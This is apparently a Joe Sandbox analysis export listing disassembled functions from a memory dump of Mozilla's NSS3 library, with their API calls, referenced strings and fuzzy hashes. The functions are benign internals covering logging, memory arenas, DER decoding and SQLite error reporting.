Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC80D65
Part of subcall function 6CC809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC80D70
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80D90
Part of subcall function 6CC809D0: free.MOZGLUE(00000000), ref: 6CC80D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CBA2B25

Part of subcall function 6CC809D0: PR_Now.NSS3 ref: 6CC80A22
Part of subcall function 6CC809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC80A35
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC80A66
Part of subcall function 6CC809D0: PR_GetCurrentThread.NSS3 ref: 6CC80A70
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC80A9D
Part of subcall function 6CC809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC80AC8
Part of subcall function 6CC809D0: PR_vsmprintf.NSS3(?,?), ref: 6CC80AE8
Part of subcall function 6CC809D0: EnterCriticalSection.KERNEL32(?), ref: 6CC80B19
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80B48
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80C76
Part of subcall function 6CC809D0: PR_LogFlush.NSS3 ref: 6CC80C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CBA2BC0

Strings

*pulCount = 0x%x, xrefs: 6CBA2BBB
slotID = 0x%x, xrefs: 6CBA2B20
pMechanismList = 0x%p, xrefs: 6CBA2B39
C_GetMechanismList, xrefs: 6CBA2B07
pulCount = 0x%p, xrefs: 6CBA2B54

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList
API String ID: 1342304006-3652739913
Opcode ID: 2bd7c602afae31943b4e2e28fedecdaa97d7a21cafb8ea84ff9f1d64f3e176e0
Instruction ID: 8e30916d6b32dd82d32b0bac5a3b7948d67db6fef1a3ce64bab327cc78acb68f
Opcode Fuzzy Hash: 2bd7c602afae31943b4e2e28fedecdaa97d7a21cafb8ea84ff9f1d64f3e176e0
Instruction Fuzzy Hash: 6921A435602182AFDB00CFD5DD8CA897BB1EB4631EF448065E90897721E730AC46C752

Function 6CC80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB62357), ref: 6CC80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB62357), ref: 6CC80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC80EE6

Part of subcall function 6CC809D0: PR_Now.NSS3 ref: 6CC80A22
Part of subcall function 6CC809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC80A35
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC80A66
Part of subcall function 6CC809D0: PR_GetCurrentThread.NSS3 ref: 6CC80A70
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC80A9D
Part of subcall function 6CC809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC80AC8
Part of subcall function 6CC809D0: PR_vsmprintf.NSS3(?,?), ref: 6CC80AE8
Part of subcall function 6CC809D0: EnterCriticalSection.KERNEL32(?), ref: 6CC80B19
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80B48
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80C76
Part of subcall function 6CC809D0: PR_LogFlush.NSS3 ref: 6CC80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC80EFA

Part of subcall function 6CB6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC80ED9, 6CC80EE5, 6CC80F06, 6CC80F0B
Aborting, xrefs: 6CC80EB3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: a1470fe0cb60956e7ca10725bf180212cceed9fc56d24cdae6afa146d8a260d5
Instruction ID: 81933320606977cf76d609a214ad6a2a0fd05433fda3c0655a15a49f33541deb
Opcode Fuzzy Hash: a1470fe0cb60956e7ca10725bf180212cceed9fc56d24cdae6afa146d8a260d5
Instruction Fuzzy Hash: 53F0C2B99001147BDE003BA0DC8AC9B3E3DEF82769F004064FD0956B02EA36EA5596B2

Function 6CBE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBE4DCB

Part of subcall function 6CBD0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
Part of subcall function 6CBD0FF0: PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016
Part of subcall function 6CBD0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBE4DE1

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBE4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBE4E59

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA300C,00000000), ref: 6CBE4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBE4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBE4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBE521A

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 06f344cd837ef9f6ed456de9ea8d4abff7e976dc7cf52edf9d72d293a3028f7f
Instruction ID: 140744365cd1930e55ddc662512694dff22ee0084a89cbb9c0a98d409c133203
Opcode Fuzzy Hash: 06f344cd837ef9f6ed456de9ea8d4abff7e976dc7cf52edf9d72d293a3028f7f
Instruction Fuzzy Hash: 32F1AB71E00249CBDB08CF94D8407AEB7B2FF48798F258129E915AB781E735E985CF91

Function 6CBE0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBE2C2A), ref: 6CBE0C81

Part of subcall function 6CBCBE30: SECOID_FindOID_Util.NSS3(6CB8311B,00000000,?,6CB8311B,?), ref: 6CBCBE44

Part of subcall function 6CBB8500: SECOID_GetAlgorithmTag_Util.NSS3(6CBB95DC,00000000,00000000,00000000,?,6CBB95DC,00000000,00000000,?,6CB97F4A,00000000,?,00000000,00000000), ref: 6CBB8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE0CC4

Part of subcall function 6CBCFAB0: free.MOZGLUE(?,-00000001,?,?,6CB6F673,00000000,00000000), ref: 6CBCFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBE0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBE0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBE0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBE0D7D
free.MOZGLUE(00000000), ref: 6CBE0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE0DC1
free.MOZGLUE(00000000), ref: 6CBE0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBE0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBE0E0F

Part of subcall function 6CBB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CB97F4A,00000000,?,00000000,00000000), ref: 6CBB95E0
Part of subcall function 6CBB95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CB97F4A,00000000,?,00000000,00000000), ref: 6CBB95F5
Part of subcall function 6CBB95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CBB9609
Part of subcall function 6CBB95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBB961D
Part of subcall function 6CBB95C0: PK11_GetInternalSlot.NSS3 ref: 6CBB970B
Part of subcall function 6CBB95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CBB9756
Part of subcall function 6CBB95C0: PK11_GetIVLength.NSS3(?), ref: 6CBB9767
Part of subcall function 6CBB95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CBB977E
Part of subcall function 6CBB95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB978E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: ceffa446bb04344f11b3512e9741c8931e4b49ec59538aa12c989002246cfa34
Instruction ID: 9914528624b0f7f213ee67ddaf2309787b0b99fa579eb495e4efc6153302ccfb
Opcode Fuzzy Hash: ceffa446bb04344f11b3512e9741c8931e4b49ec59538aa12c989002246cfa34
Instruction Fuzzy Hash: C941F2B1900296ABEB009F65EC81BAF7678EF05748F144024ED1567741EB35EA54CBE2

Function 6CB74FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CCC0148,?,6CB86FEC), ref: 6CB7502A
PR_NewLock.NSS3(00000001,00000000,6CCC0148,?,6CB86FEC), ref: 6CB75034
PL_NewHashTable.NSS3(00000000,6CBCFE80,6CBCFD30,6CC1C350,00000000,00000000,00000001,00000000,6CCC0148,?,6CB86FEC), ref: 6CB75055
PL_NewHashTable.NSS3(00000000,6CBCFE80,6CBCFD30,6CC1C350,00000000,00000000,?,00000001,00000000,6CCC0148,?,6CB86FEC), ref: 6CB7506D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 7a5c57bc5fa61fc15b6974bb85433750dbfb999220b16aa6efcddc7ad80a63fd
Instruction ID: e69df7e70269b83c05d8347b9adec085c96811d1eb3d0addb1b0f222a2548727
Opcode Fuzzy Hash: 7a5c57bc5fa61fc15b6974bb85433750dbfb999220b16aa6efcddc7ad80a63fd
Instruction Fuzzy Hash: 9231E771B052A09BEB209B658E6CB5777BCEB13308F018125ED25C7A40E374AD48DBF6

Function 6CB12E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB12F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB12FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB13005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB130EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB13131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB13178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB13022, 6CB13156, 6CB13162, 6CB1318A, 6CB13196, 6CB131A2, 6CB131AE, 6CB131BA, 6CB131C6
%s at line %d of [%.10s], xrefs: 6CB13171
database corruption, xrefs: 6CB1316C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: c98a23324409d5217dada207ee0e28d51ab0d35a5d22607830256bd258e743b5
Instruction ID: 1470606e4d6837842414dde1132a4e33fb62fd7f3b57a3b0d2e1b494e3c906df
Opcode Fuzzy Hash: c98a23324409d5217dada207ee0e28d51ab0d35a5d22607830256bd258e743b5
Instruction Fuzzy Hash: 69B19EB0E492599FCB08CF9DC884AEEBBB1FF49314F144029E845B7B41E374A951CBA5

Function 6CAF2400 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 125COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,bind on a busy prepared statement: [%s],?), ref: 6CAF24EC
sqlite3_log.NSS3(00000015,API called with NULL prepared statement,?,?,?,?,?,6CAF2315), ref: 6CAF254F
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000151C9,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,6CAF2315), ref: 6CAF256C

Strings

misuse, xrefs: 6CAF2561
API called with finalized prepared statement, xrefs: 6CAF2543, 6CAF254D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAF24F4, 6CAF2557
API called with NULL prepared statement, xrefs: 6CAF253C
%s at line %d of [%.10s], xrefs: 6CAF2566
bind on a busy prepared statement: [%s], xrefs: 6CAF24E6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API called with NULL prepared statement$API called with finalized prepared statement$bind on a busy prepared statement: [%s]$misuse
API String ID: 632333372-2222229625
Opcode ID: 6786f939a1d0793eeebe173ae63a7c7de4f35aa603ad945d73fbfb3d79b6d959
Instruction ID: b77a22b69c3065f020c2990a41d26458ffa1216d8ec30db8018251ccc0695bf5
Opcode Fuzzy Hash: 6786f939a1d0793eeebe173ae63a7c7de4f35aa603ad945d73fbfb3d79b6d959
Instruction Fuzzy Hash: 8F414771B006418BE720CF59DC98B6677B6AF8131AF18462CF8654FB40D77AE887CB91

Function 6CBA6C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6CBA6C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBA6C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBA6CA3

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBA6CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBA6CD5

Strings

(CK_INVALID_HANDLE), xrefs: 6CBA6C9C
hSession = 0x%x, xrefs: 6CBA6C7E, 6CBA6C8E
C_DigestInit, xrefs: 6CBA6C61
pMechanism = 0x%p, xrefs: 6CBA6CD0

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 984f57207bce321a8246ee8d8aeb4109b3415b7acb91fcefc567718658b07b18
Instruction ID: 283fb2799839d53ae946e38e9799daa24dba07fb2ed967313bc85d064bf60ae4
Opcode Fuzzy Hash: 984f57207bce321a8246ee8d8aeb4109b3415b7acb91fcefc567718658b07b18
Instruction Fuzzy Hash: F3212270605190BBCB009B98DD98F8E7BB5EB4231DF448029E809D7B01EB30AC4ACB92

Function 6CB70F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB70F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB70F84

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CB8F59B,6CC9890C,?), ref: 6CB70FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CB70FC1

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CB70FDB
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB70FEF
PL_FreeArenaPool.NSS3(?), ref: 6CB71001
PL_FinishArenaPool.NSS3(?), ref: 6CB71009

Strings

security, xrefs: 6CB70F5C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 5edbbdf71b3eba91b199ad50f6f6dc714d410ca68cb3cb5beb0224ef3e8ca476
Instruction ID: 2377950bc27fb79830ac7f712e61b82a84f72d39194d49c72c24a792de8772ee
Opcode Fuzzy Hash: 5edbbdf71b3eba91b199ad50f6f6dc714d410ca68cb3cb5beb0224ef3e8ca476
Instruction Fuzzy Hash: D621E6B1904284ABE7109F24DC41AAF77B8EF4565CF058519FC189B601F732E95ACBE2

Function 6CC82AD0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC82AE8
strdup.MOZGLUE(00000000), ref: 6CC82AFA
PR_ExitMonitor.NSS3 ref: 6CC82B0B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(LD_LIBRARY_PATH), ref: 6CC82B1E
strdup.MOZGLUE(.;\lib), ref: 6CC82B32
PR_ExitMonitor.NSS3 ref: 6CC82B4A
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC82B59

Strings

.;\lib, xrefs: 6CC82B29, 6CC82B31
LD_LIBRARY_PATH, xrefs: 6CC82B19

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$Exitstrdup$EnterErrorgetenv
String ID: .;\lib$LD_LIBRARY_PATH
API String ID: 2438426442-3838498337
Opcode ID: a47ff53e76e4ad9a5ed976249a1779d76d1d05106f23c0a14aed380bada22429
Instruction ID: eb7e0eb8b944849aa5b74a0febd170743e8f1c8c515d5aa0f5c11ee63c0289ac
Opcode Fuzzy Hash: a47ff53e76e4ad9a5ed976249a1779d76d1d05106f23c0a14aed380bada22429
Instruction Fuzzy Hash: EF01A2B5F0112167EB106FA9AC0EB573AB4DB0275DF080034E80A91E12FB36E929C697

Function 6CB76DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB77D8F,6CB77D8F,?,?), ref: 6CB76DC8

Part of subcall function 6CBCFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBCFE08
